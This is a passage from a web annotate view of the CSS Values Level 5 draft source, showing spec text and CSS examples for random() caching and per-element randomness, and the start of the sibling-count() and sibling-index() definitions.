Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2187" id="l2187"> 2187</a> </td> <td class="source"> resulting in the width and height having no connection to each other: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l856" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2188" id="l2188"> 2188</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l857" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2189" id="l2189"> 2189</a> </td> <td class="source"> <pre highlight=css> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l858" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2190" id="l2190"> 2190</a> </td> <td class="source"> .random-rect-2 { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l859" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2191" id="l2191"> 2191</a> </td> <td class="source"> width: random(100px, 500px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l860" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2192" id="l2192"> 2192</a> </td> <td class="source"> height: random(100px, 500px, by 50px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l861" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2193" id="l2193"> 2193</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l862" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2194" id="l2194"> 2194</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l863" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2195" id="l2195"> 2195</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l1254" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l2196" id="l2196"> 2196</a> </td> <td class="source"> But so long as the [=used values=] end up identical, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l865" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2197" id="l2197"> 2197</a> </td> <td class="source"> two functions that look distinct might end up identical. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l866" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2198" id="l2198"> 2198</a> </td> <td class="source"> For example, in the following code: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l867" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2199" id="l2199"> 2199</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l868" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2200" id="l2200"> 2200</a> </td> <td class="source"> <pre highlight=css> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l869" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2201" id="l2201"> 2201</a> </td> <td class="source"> .random-square-2 { </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l870" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2202" id="l2202"> 2202</a> </td> <td class="source"> font-size: 16px; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l871" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2203" id="l2203"> 2203</a> </td> <td class="source"> width: random(160px, 320px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l872" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2204" id="l2204"> 2204</a> </td> <td class="source"> height: random(10em, 20em); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l873" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2205" id="l2205"> 2205</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l874" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2206" id="l2206"> 2206</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l875" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2207" id="l2207"> 2207</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l876" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2208" id="l2208"> 2208</a> </td> <td class="source"> The two functions superficially look different, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l877" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2209" id="l2209"> 2209</a> </td> <td class="source"> but after the lengths are fully resolved </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l878" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2210" id="l2210"> 2210</a> </td> <td class="source"> they end up with identical [=random-caching keys=]; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l879" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2211" id="l2211"> 2211</a> </td> <td class="source"> each is <code>(160px, 320px, null, null, null)</code>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l880" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2212" id="l2212"> 2212</a> </td> <td class="source"> so actually the widths and heights will end up always identical. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l881" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2213" id="l2213"> 2213</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l882" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2214" id="l2214"> 2214</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l883" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2215" id="l2215"> 2215</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l884" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2216" id="l2216"> 2216</a> </td> <td class="source"> By default, each instance of a ''random()'' function in a stylesheet </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l885" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2217" id="l2217"> 2217</a> </td> <td class="source"> essentially resolves to a static value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l886" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2218" id="l2218"> 2218</a> </td> <td class="source"> which is then shared by every element that property applies to. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l887" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2219" id="l2219"> 2219</a> </td> <td class="source"> This behavior can be changed with the ''per-element'' keyword. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l888" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2220" id="l2220"> 2220</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l889" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2221" id="l2221"> 2221</a> </td> <td class="source"> For example, in: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l890" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2222" id="l2222"> 2222</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l891" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2223" id="l2223"> 2223</a> </td> <td class="source"> <pre highlight=css> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l892" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2224" id="l2224"> 2224</a> </td> <td class="source"> .foo { width: random(100px, 500px); } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l893" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2225" id="l2225"> 2225</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l894" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2226" id="l2226"> 2226</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l895" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2227" id="l2227"> 2227</a> </td> <td class="source"> Multiple elements matching ''.foo'' will end up with the same random width. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l896" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2228" id="l2228"> 2228</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l897" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2229" id="l2229"> 2229</a> </td> <td class="source"> But in: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l898" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2230" id="l2230"> 2230</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l899" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2231" id="l2231"> 2231</a> </td> <td class="source"> <pre highlight=css> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l900" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2232" id="l2232"> 2232</a> </td> <td class="source"> .foo { width: random(per-element, 100px, 500px); } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l901" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2233" id="l2233"> 2233</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l902" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2234" id="l2234"> 2234</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l903" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2235" id="l2235"> 2235</a> </td> <td class="source"> Every element matching ''.foo'' will get its own <em>unique</em> width. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l904" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2236" id="l2236"> 2236</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l905" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2237" id="l2237"> 2237</a> </td> <td class="source"> Note that this causes the value to be unique per element, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l906" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2238" id="l2238"> 2238</a> </td> <td class="source"> not per <em>value</em> necessarily. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l907" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2239" id="l2239"> 2239</a> </td> <td class="source"> For example, in: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l908" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2240" id="l2240"> 2240</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l909" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2241" id="l2241"> 2241</a> </td> <td class="source"> <pre highlight=css> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l910" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2242" id="l2242"> 2242</a> </td> <td class="source"> .random-squares { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l911" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2243" id="l2243"> 2243</a> </td> <td class="source"> width: random(per-element, 100px, 500px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l912" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2244" id="l2244"> 2244</a> </td> <td class="source"> height: random(per-element, 100px, 500px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l913" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2245" id="l2245"> 2245</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l914" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2246" id="l2246"> 2246</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l915" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2247" id="l2247"> 2247</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l916" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2248" id="l2248"> 2248</a> </td> <td class="source"> Every element matching ''.random-squares'' will get a distinct random value, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l917" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2249" id="l2249"> 2249</a> </td> <td class="source"> but that value will be <em>the same</em> for 'width' and 'height' on a given element, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l918" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2250" id="l2250"> 2250</a> </td> <td class="source"> making the element square. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l919" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2251" id="l2251"> 2251</a> </td> <td class="source"> This is because in both properties </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l920" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2252" id="l2252"> 2252</a> </td> <td class="source"> the [=random-caching key=] is <code>(100px, 500px, null, null, [unique value for the element])</code>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l921" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2253" id="l2253"> 2253</a> </td> <td class="source"> so both functions will resolve to the same length on a single element. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l922" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2254" id="l2254"> 2254</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l923" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2255" id="l2255"> 2255</a> </td> <td class="source"> This makes random values in [=custom properties=] act more predictably. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l924" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2256" id="l2256"> 2256</a> </td> <td class="source"> The preceding code could also be written as: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l925" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2257" id="l2257"> 2257</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l926" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2258" id="l2258"> 2258</a> </td> <td class="source"> <pre highlight=css> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l927" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2259" id="l2259"> 2259</a> </td> <td class="source"> .foo { </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l928" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2260" id="l2260"> 2260</a> </td> <td class="source"> --size: random(per-element, 100px, 500px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l929" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2261" id="l2261"> 2261</a> </td> <td class="source"> width: var(--size); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l930" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2262" id="l2262"> 2262</a> </td> <td class="source"> height: var(--size); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l931" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2263" id="l2263"> 2263</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l932" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2264" id="l2264"> 2264</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l933" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2265" id="l2265"> 2265</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l934" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2266" id="l2266"> 2266</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l935" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2267" id="l2267"> 2267</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1465" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2268" id="l2268"> 2268</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l936" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2278" id="l2278"> 2278</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1407" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2279" id="l2279"> 2279</a> </td> <td class="source"><h2 id="tree-counting"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1408" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2280" id="l2280"> 2280</a> </td> <td class="source">Tree Counting Functions: the ''sibling-count()'' and ''sibling-index()'' notations</h2> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1409" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2281" id="l2281"> 2281</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1410" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2282" id="l2282"> 2282</a> </td> <td class="source"> The <dfn>sibling-count()</dfn> [=functional notation=] represents, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1411" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2283" id="l2283"> 2283</a> </td> <td class="source"> as an <<integer>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1412" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2284" id="l2284"> 2284</a> </td> <td class="source"> the total number of child <l spec=css-display-3>[=elements=]</l> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1413" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2285" id="l2285"> 2285</a> </td> <td class="source"> in the parent of the element on which the notation is used. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1414" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2286" id="l2286"> 2286</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1415" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2287" id="l2287"> 2287</a> </td> <td class="source"> The <dfn>sibling-index()</dfn> [=functional notation=] represents, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1416" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2288" id="l2288"> 2288</a> </td> <td class="source"> as an <<integer>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1417" title="b1efe1de3bf8: [css-values-5] Add sibling-count/index(). #4559">jackalmage@30488</a> </td> <td class="lineno"> <a href="#l2289" id="l2289"> 2289</a> </td> <td class="source"> the index of the element </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b1efe1de3bf8/css-values-5/Overview.bs#l1418" title="b1efe1de3bf8: [css-values-5] Add 